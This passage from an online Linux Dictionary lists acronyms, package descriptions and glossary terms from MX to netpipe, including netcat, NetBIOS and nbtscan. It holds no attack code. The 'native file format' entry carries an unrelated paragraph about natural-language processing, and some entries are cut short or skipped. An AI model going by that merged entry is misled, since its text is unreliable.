Mail eXchange (Unix) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MX

Mail eXchange: a DNS record used to define the host(s) willing to accept mail for a given machine. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MXB

Multimedia eXension Board (SNI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MXC

Multimedia eXtension Connector From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

myhungarian

The Hungarian dictionary for OpenOffice. This is the Hungarian dictionary made by NEMETH Laszlo <nemethl@gyorsposta.hu> home: <http://www.szofi.hu/gnu/magyarispell> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

myspell-en_GB

myspell-en_GB contains spell checking data in English (United Kingdom) to be used by OpenOffice.org or MySpell-capable applications like Mozilla. With this extension, you can compose a document in English and check for the typos easily. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

myspell-en_US

myspell-en_US contains spell checking data in English (US) to be used by OpenOffice.org or MySpell-capable applications like Mozilla. With this extension, you can compose a document in English and check for the typos easily. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

myspell-hyph-en

Linux Dictionary

myspell-hyph-en contains hyphenation data for English to be used by OpenOffice.org or MySpell-capable applications like Mozilla. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mysql

MySQL is a fast, stable and true multi-user, multi-threaded SQL (Structured Query Language) database server. SQL is the most popular database query language in the world. This package includes files needed by all versions of the client library. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MZ

Mark Zbikowski (MS-DOS, MCB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MZAP

Multicast-scope Zone Announcement Protocol (RFC 2776, Multicast) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mzip

change protection mode and eject disk on Zip/Jaz drive TQ From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

N

NAB

Netware Asynchronous Board (Novell, Netware) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAC

Network Administration Center From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NACS

Network Access Control System (Netware, DES, cryptography) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NACISIS

National Academic Center for Science Information Systems (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NACT

Neural Adaptive Control Technology [project] (NN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAD

Network Access Device From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NADB

National Archeological DataBase (DB, USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAEC

Novell Authorized Education Center (Novell, Netware) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAG

National Algorithms Group [Ltd] (UK, org.), "Nag" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAG

Network Architecture Group (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nagware

Linux Dictionary

/nag'veir/ n. [Usenet] The variety of shareware that displays a large screen at the beginning or end reminding you to register, typically requiring some sort of keystroke to continue so that you can't use the software in batch mode. Compare annoyware, crippleware. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAI

Netzwerk Arbeitswelt Informatik (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nail

BSD mail(1) supporting MIME, SMTP and international charsets Workalike of the classical mail(1). Nail can produce and read MIME messages and has greatly improved character-set handling, including support for UTF-8. Without a mail-transport-agent you won't be able to receive mail, though sending works perfectly well (look for the 'smtp' variable in nail(1)). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAL

Netware Application Launcher (Novell, Netware, NAM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NALIS

Nevada Academic Libraries Information System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAM

Netware Application Manager (Novell, Netware, NAL) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

namazu2

Full text search engine (namazu binary and cgi) Namazu is a full text search engine with is usable via cgi. It features a simple and easy setup, and is written in C and Perl. Namazu uses the text utilities nkf and kakasi (or chasen, which is not available in Debian). This package includes binary only for search index. To create indexes, please install namazu2-index-tools package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

name

These tools will provide you with the IP addresses for given host names,as well as other information about registered domains and network addresses. You should install bind-utils if you need to get information from DNS nameservers. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

name server

A system that uses domain name system (DNS) to translate an assigned name into its associated IP address, and vice versa. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

named

Internet domain name server From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

named-checkconf

named configuration file syntax checking tool From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

named-checkzone

zone file validity checking tool From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

namei

follow a pathname until a terminal point is found From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nameif

Linux Dictionary

name network interfaces based on MAC addresses From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAMS

National Association of Multimedia Shareware (org., USA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nana

GNU Nana — improved support for assertions and logging GNU Nana is a freely available library providing improved support for assertions and logging in GNU C/C++. In particular: * Space/time efficient assertion checking * Space/time efficient program logging * Code-to-HTML converter giving only details of your interface and pre/postconditions (similar to Eiffel short form). * Statement and function-level tracing under GDB. * Logging via inline C code (as in <assert.h>) or by extraction of commands for gdb which results in no performance cost unless running in the debugger. It was written by the author because he has written too many of these systems in the past for individual projects and has finally gotten tired of it. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nano

free Pico clone with some new features GNU nano is a free replacement for Pico, the default Pine editor. Pine is copyrighted under a slightly restrictive license, that makes it unsuitable for Debian's main section. GNU nano is an effort to provide a Pico-like editor, but also includes some features that were missing in the original, such as 'search and replace', 'goto line' or internationalization support. As it's written from scratch, it's smaller and faster. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAP

Acronym for Network Access Point, the major internet providers usually have peering points at one or more NAPs. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nap

Napster console client Napster console client. The advantage of nap over other graphical clients like gnome-napster is that you can run it under screen(1) on a remote host and disconnect from your session while nap continues the downloads. You can later reconnect to your running client even from another host and do more commands. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAP

Network Access Point (IN) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAPLPS

North American Presentation Level Protocol Syntax (BBS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAPT

??? From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NARP

Non-Broadcast Multiple Access Address Resolution Protocol (RFC 1735) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAS

Netware Access Services (Novell, Netware) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAS

Network Application Services (DEC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAS

Network Application Support From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAS

N

Network Attached Storage From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nas

The Network Audio System (NAS). (local server) The Network Audio System was developed by NCD for playing, recording, and manipulating audio data over a network. Like the X Window System, it uses the client/server model to separate applications from the specific drivers that control audio input and output devices. This package contains the nas daemon (au), needed for local output from nas. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nase-a60

An Algol-60 interpreter Algol-60 is the ancestor to most contemporary programming languages. It has been described by one of its designers, Edsger Dijkstra, as "a great improvement on many of its successors". The main attraction of this language is its historical importance. The present package contains a simple interpreted reimplement of the Algol 60 language, "made for fun and call-by-name". From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NASI

Netware Asynchronous Service Interface (Novell, Netware) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nasm

General-purpose x86 assembler Netwide Assembler. NASM will currently output flat-form binary files, a.out, COFF and ELF Unix object files, and Microsoft 16-bit DOS and Win32 object files. Also included is NDISASM, a prototype x86 binary-file disassembler which uses the same instruction table as NASM. NASM is released under the GNU Lesser General Public License (LGPL). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nasm

NASM is the Netwide Assembler, a free portable assembler for the Intel 80x86 microprocessor series, using primarily the traditional Intel instruction mnemonics and syntax. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nasm-rdoff

Tools for the operating-system independent RDOFF binary format, which is sometimes used with the Netwide Assembler (NASM). These tools include linker, library manager, loader, and information dump. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAT

[IP] Network Address Translator (RFC 1631, IP) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAT (Network Address Translation)

NAT is a way of providing access to the Internet through a single machine that translates the IP addresses. The NAT itself has one or more IP addresses, but all the machines behind the NAT have "private" Internet addresses. Contrast: A NAT provides some firewalling capabilities because it isolates the end-nodes while still providing access to the Internet. The isolation is better than packet-filter firewalls, but not as good as proxies. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

native file format

The default file format a program uses to store data on disk. The format is often a proprietary file format. Many popular programs today can retrieve and save data in several formats. See ASCII. Computer scientists are working to improve computers so that they can respond to natural language. Human languages are so complex that no single model of a natural language grammar system has gashed widespread acceptance among linguists. The complexity OF human languages, coupled with the lack of understanding about what information is needed to decode human sentences, makes it difficult to devise programs that recognize speech. Progress in solving these problems has been slow. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NATOA

Linux Dictionary

National Association of Telecommunications Officers & Advisors (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAU

Network Addressable Unit (IBM, SNA, OSI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAU

Network Attachment Unit (GigaB, IP-router) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAUN

Nearest Active Upstream Neighbour (MAC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nautilus

file manager and graphical shell Nautilus is an open-source file manager and graphical shell being developed by Eazel, Inc. and others. It is part of the GNOME project, and its source code can be found in the GNOME CVS repository. Nautilus is still in the early stages of development. It will become an integral part of the GNOME desktop environment when it is finished. Nautilus has the own BTS at <http://bugzilla.eazel.com/> If you find the upstream problem (not packaging problem!!), please use it instead of Debian BTS. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nautilus

Nautilus integrates access to files, applications, media, Internet-based resources and the Web. Nautilus delivers a dynamic and rich user experience. Nautilus is a free software project developed under the GNU General Public License and is a core component of the GNOME desktop project. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nautilus

Nautilus is an excellent file manager for the GNOME desktop environment. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NAVNET

NAVy NETwork (mil., USA, network) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nawk

pattern scanning and text processing language From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nawm

Non-windowmanager with windowmanager functionality nawm is not a window manager. It has a powerful configuration language for using windowmanager-like functionality. Because it is not a windowmanager, nawm can be run along side you existing windowmanager. Great for making up for missing functionality without having to change to a whole new windowmanager. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NB

Nota bene (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NBCD

Natural Binary Coded Decimal From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nbd

Network Block Device client This package contains the client process for the Network Block Device. The Network Block Device is a client/server protocol that emulates a block device (like a hard disk, a floppy, a CD-ROM, ...) over the network, thus giving the system the ability to swap over the network, or to use raw network disk space for other purposes. Note, however, that it is not possible to access a single networked block device from different clients simultaneously; if you want that, you

Linux Dictionary

don't need the Network Block Device (which, basically, is a Disk Server protocol) but something else, like Sun's Network File System (NFS), or CODA. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NBDD

NetBIOS Datagram Distribution [server] (NETBIOS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NBE

Not-Below-or-Equal From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nbfc

New BF Compiler The New BrainF*** compiler can compile code from the BF language into C, and from there into native machine code. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NBFCE

NETBIOS Frames Control Program (NETBIOS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NBFCEP

[PPP] NETBIOS Frames Control Protocol (PPP, NETBIOS, RFC 2097) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NBFM

Narrow Band Frequency Modulation From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NBMA

Non-Broadcast Multiple Access (UNI, ATM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NBNS

NetBIOS Name Server (NETBIOS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NBP

Name Binding Protocol (AppleTalk) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NBROK

If you have an unused 100 or 250 MB ZIP-drive around, give it a new goal. Use it to run Linux. No hard disk or ramdisk required. A Zip disk-based distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NBS

Narrow Band Socket (Intel, Nokia) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NBS

National Bureau of Standards (org., predecessor, NIST) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NBT

NETBIOS on TCPIP (MS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nbtscan

A program for scanning networks for NetBIOS name information. NBTscan is a program for scanning IP networks for NetBIOS name information. It sends NetBIOS status query to each address in supplied range and lists received information in human readable form. For each responded host it lists IP address, NetBIOS computer name, logged-in user name and MAC address (such as Ethernet). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nc

Client program for NEdit text editor From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ncdt

Display directory tree NcdT displays directory tree, much like standard tree(1), but with few improvements: – it prints summary info instead of directory special file size – it prints MP3 file info It's particularly useful for indexing CDs. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NCE

Nomadic Computing Environment (Tadpole) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ncftp

A user-friendly and well-featured FTP client. This program allows a user to transfer files to and from a remote network site, and offers additional features that are not found in the standard interface, ftp. This version has Readline support enabled. This is a complete re-write of version 2.4.3 (Debian package ncftp2). Some users may prefer the full-screen ncurses interface of the "older" NcFTP 2.4.3; if you are one of them, install the ncftp2 package instead. Home Page: <http://www.ncftp.com/ncftp/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ncftp

Ncftp is an improved FTP client. Ncftp's improvements include support for command line editing, command histories, recursive gets, automatic anonymous logins, and more. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NCGA

National Computer Graphics Association (org., USA) From VERA

NCN

N

Nixdorf Communications Network From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nco

netCDF Operators NCO is a suite of programs known as operators. Each operator is a standalone, command line program that is executed at the UNIX shell-level. The operators take one or more netCDF files as input, perform an operation (e.g., averaging or hyperslabbing), and produce a netCDF file as output. The operators are primarily designed to aid manipulation and analysis of data. This reflects their origin, but the operators are as general as netCDF itself. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NCOHPCC

National Coordination Office for High Performance Computing and Communications (org., USA, HPC), "NCO/HPCC" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NCOS

Network Computer Operating System (OS, Oracle, Internet) From VERA

NEST

Netware Embedded Systems Technology (Novell, Netware) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nestra

Nintendo Entertainment System emulator Nestra is a dynamic recompiler which translates 6502 code into native code to emulate a Nintendo Entertainment System. Execution of the translated code is quite fast, and the emulator can run at full speed with relatively modest CPU requirements. To use this program, you need NES ROMs which are not included. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NET

Network Entity Title From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Net surfer

Someone who browses the Internet with no definite destination. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

net-acct

Usermode IP accounting daemon This package logs network traffic. It provides a daemon (nacctd) that logs all traffic passing the machine it runs on (similar to what tcpdump does). Capability is provided to associate traffic to slip/ppp users in case you run a slip/ppp server. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

net-snmp

SNMP (Simple Network Management Protocol) is a protocol used for network management. The NET-SNMP project includes various SNMP tools: an extensible agent, an SNMP library, tools for requesting or setting information from SNMP agents, tools for generating and handling SNMP traps, a version of the netstat command which uses SNMP, and a Tk/Perl mib browser. This package contains the snmpd and snmp trapd daemons, documentation, etc. You will probably also want to install the net-snmp-utils package, which contains NET-SNMP utilities. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

net-snmp-utils

The net-snmp-utils package contains various utilities for use with the NET-SNMP network management project. Install this package if you need utilities for managing your network using the SNMP protocol. You will also need to install the net-snmp package. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

net-tools

The NET-3 networking toolkit This package includes the important tools for controlling the network subsystem of the Linux kernel. This includes arp, ifconfig, netstat, rarp, nameif and route.

Additionally, this package contains utilities relating to particular network hardware types (plipconfig, slattach) and advanced aspects of IP configuration (iptunnel, ipmaddr). In the upstream package 'hostname' and friends are included. Those are not installed by this package, since there is a special "hostname*.deb". From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netatalk

AppleTalk user binaries Netatalk is an implementation of the AppleTalk Protocol Suite for BSD-derived systems. The current release contains support for EtherTalk Phase I and II, DDP, RTMP, NBP, ZIP, AEP, ATP, PAP, ASP, and AFP. This package contains all daemon and utility programs as well as Netatalk's static libraries. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netbase

Basic TCP/IP networking system This package provides the necessary infrastructure for basic TCP/IP based networking. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Netbeui

NetBios Enhanced User Interface: an enhanced version of the NetBIOS protocol used by network operating systems such as LAN Manager, LAN Server, Windows 9x and 2000. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NETBEUI

NETBIOS Extended User Interface (UI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NetBIOS

In Windows, NetBIOS is a way for writing network-aware applications, much like sockets is for UNIX. Misunderstanding: Like sockets, many different protocols can be used to transport applications written to the NetBIOS API. When you say "NetBIOS", some people will understand you to mean the TCP/IP transport. Other people will think of "NetBEUI", which is the transport over raw Ethernet without any intervening routable network protocol. Use the term "NBT" (NetBIOS-over-TCP) or "NetBEUI" to avoid confusion. Contrast: Microsoft's "File and Print Sharing" uses the SMB protocol over NetBIOS. Microsoft supports the NetBIOS interface over TCP/IP, NetBEUI, and Novell's IPX/SPX. Home users who share files among their own machines mistakenly enable File and Print Sharing using the TCP/IP transport, allowing hackers anywhere on the Internet access to their machine. Instead, they should configure it over the NetBEUI transport so that nobody outside their network can access their files (note: this still might open up their networks to people on the same cable-modem VLAN). History: Originally developed by SyTek for IBM. It was implemented in the ROM of IBM'ss broadband Ethernet (3-mbps, over cable TV coax rather than normal Ethernet coax, separate send/receive channels). More: If you maintain a firewall, you will see regular NetBIOS requests in your logs. Read the document

<http://www.robertgraham.com/pubs/firewall-seen.html#netbios> for more info. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NETBIOS

NETwork Basic Input Output System (IBM, RFC 1001/1002), "NetBIOS" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NETBLT

NETwork BLock Transfer (IP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netboot

Booting of a diskless computer This package allows booting of a diskless computer over a network and mounting the root filesystem via NFS. It contains the necessary boot ROM code and utility program to convert a Linux kernel or MS-DOS disk into a net bootable image. For more information:

<http://www.han.de/~gero/netboot/index.html> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NETBT

NetBIOS over TCP/IP (NETBIOS, TCP/IP), "NetBT" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netcat

A popular tool for command-line manipulation of ports, especially text-based protocols. Often used as a replacement for Telnet. Key Point: Variants of netcat are a popular way of redirecting shell prompts and other protocols. In the past, this was always done in the clear. Today, there are variants such as aes-netcat or crycat.exe that will encrypt the channel. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netcat

TCP/IP swiss army knife A simple Unix utility which reads and writes data across network connections using TCP or UDP protocol. It is designed to be a reliable "back-end" tool that can be used directly or easily driven by other programs and scripts. At the same time it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NETCDF

NETwork Common Data Format, "NetCDF" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netcdf3

An interface for scientific data access. NetCDF (network Common Data Form) is an interface for scientific data access and a freely-distributed software library that provides an implementation of the interface. The netCDF library also defines a machine-independent format for representing scientific data. Together, the interface, library, and format support the creation, access, and sharing of scientific data. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netconfig

A text-based tool for simple configuration of ethernet devices. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NETDA

NETwork Design and Analysis From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netdiag

Net-Diagnostics (trafshow,stroke,netwatch,statnet,tcpspray,tcplblast) Netdiag contains a collection of small tools to analyze network traffic and configuration of remote hosts (stroke). It is of invaluable help if your system is showing strange network behaviour and you want to find out what your network is doing. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netdude

NETwork DUmp data Displayer and Editor for tcpdump trace files It is a GUI-based tool that allows you to make detailed changes to packets in tcpdump trace files, in particular, it can currently do the following: * Set the value of every field in IP, TCP and UDP packet headers. ICMP support will be finished shortly. * Copy, move and delete packets in the trace file. * Fragment and reassemble IP packets. * Netdude constantly communicates with a tcpdump process to update the familiar tcpdump output that corresponds to the trace. This also means that any changes made to your local version of tcpdump are reflected in Netdude. * Plugin architecture: people can easily add plugins for specific tasks. The code comes with a plugin for checksum correction in IP, TCP and UDP, and a dummy plugin. * Through the plugin mechanism, Netdude provides a good facility for writing tcpdump trace file filters. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netenv

Configure your system for different network environments. Netenv creates a file containing variable assignments which reflect the current environment. It is especially useful for notebook computers, since it is used (if configured) by the PCMCIA setup scheme included in the Debian pcmcia-cs package and the plip setup script included as an example in this package. You can also use netenv configure your windowmanager or your printing environment. Note that you either have to specify a kernel parameter or enter the chosen environment by hand during boot time. The boot process will stop until you entered something. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

nethack

Overhead dungeon-crawler game (dummy package) Nethack is a wonderfully silly, yet quite addicting, Dungeons and Dragons-style adventure game. You play the part of a fierce fighter, wizard,

or any of many other classes, fighting your way down to retrieve the Amulet of Yendor (try saying THAT one backwards!) for your god. On the way, you might encounter a quantum mechanic or two, or perhaps a microscopic space fleet, or — if you're REALLY lucky — the Ravenous Bugblatter Beast of Traal. This package is merely a dummy package that depends on nethack-common and nethack-x11 to facilitate upgrades. You may safely remove it from your system. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Netiquette

The etiquette of using the Internet. To avoid breaching Netiquette, make sure that you investigate any FAQs or new user sections of newsgroups and do not send irrelevant e-mail. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netkit-ftp

Internet file transfer program From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netkit-inetd

The Internet Superserver The inetd server is a network daemon program that specializes in managing incoming network connections. Its configuration file tells it what program needs to be run when an incoming connection is received. Any service port may be configured for either of the tcp or udp protocols. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netkit-ntalk

talk to another user From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netkit-ping

The ping utility from netkit The ping command sends ICMP ECHO_REQUEST packets to a host in order to test if the host is reachable via the network. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netleds-applet

GNOME network LEDs applet NetLeds is a GNOME applet that displays LEDs from a network device. It can display RX, TX, collision and error. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netmask

A 32-bit value, similar to a IP address, that determines how a an IP address is separated into subnet address and host address. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netmask

helps figure out network masks This is a tiny program handy if you work with firewalls or routers or are a network admin of sorts. It can determine the smallest set of network masks to specify a range of hosts. It can also convert between common IP netmask and address formats. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netmaze

3-D Multiplayer Combat Game This is a 3-D multiplayer game for X. You can play by yourself, use computerized players ("bots"), or you can use a TCP/IP network and play against other players. Be sure to read the documentation that will be installed in /usr/share/doc/netmaze/README.Debian From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netobjd

the Network Object agent daemon The Network Objects package provides a simple but powerful facility for remote method invocation in the context of Modula-3. Under Network Objects, all subtypes of the object type NetObj.T are treated specially in that they can be passed to remote address spaces by reference. This remote reference appears at the destination as a surrogate object which is a subtype of the original object type. If the original type has methods, these methods can be remotely invoked through the surrogate. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

NETPARS

NETwork Performing Analysis Reporting System From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netpbm

Graphics conversion tools. Netpbm is a toolkit for manipulation of graphic images, including conversion of images between a variety of different formats. There are over 220 separate tools in the package including converters for more than 80 graphics formats. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netpbm

The netpbm package contains a library of functions that support programs for handling various graphics file formats, including .pbm (portable bitmaps), .pgm (portable graymaps), .pnm (portable anymaps), .ppm (portable pixmaps), and others. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netpipe-lam

A network performance tool using LAM MPI NetPIPE is a protocol independent performance tool that encapsulates the best of tcp and netperf and visually represents the network performance under a variety of conditions. By taking the end-to-end application view of a network, NetPIPE clearly shows the overhead associated with different protocol layers. NetPIPE answers such questions as: how soon will a given data block of size k arrive at its destination? Which network and protocol will transmit size k blocks the fastest? What is a given network's effective maximum throughput and saturation level? Does there exist a block size k for which the throughput is maximized? How much communication overhead is due to the network communication protocol layer(s)? How quickly will a small (< 1 kbyte) control message arrive, and which network and protocol are best for this purpose?

This package measures network performance using the MPI protocol, a Message Passing Interface frequently used in parallel processing, and which uses in turn TCP as its underlying transport. The implementation of the MPI standard used by this package is that provided by the lam set of packages.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

netpipe-mpich

A network performance tool using MPICH MPI NetPIPE is a protocol independent performance tool that encapsulates the best of tcp and netperf and visually represents the network performance under a variety of conditions. By taking the end-to-end application view of a network, NetPIPE clearly shows the overhead associated with different protocol layers. NetPIPE answers such questions as: how soon will a given data block of size k arrive at its destination? Which network and protocol will transmit size k blocks the fastest? What is a given network's effective maximum throughput and saturation level? Does there exist a block size k for which the throughput is maximized? How much communication overhead is due to the network communication protocol layer(s)? How quickly will a small (< 1 kbyte) control message arrive, and which network and protocol are best for this purpose?

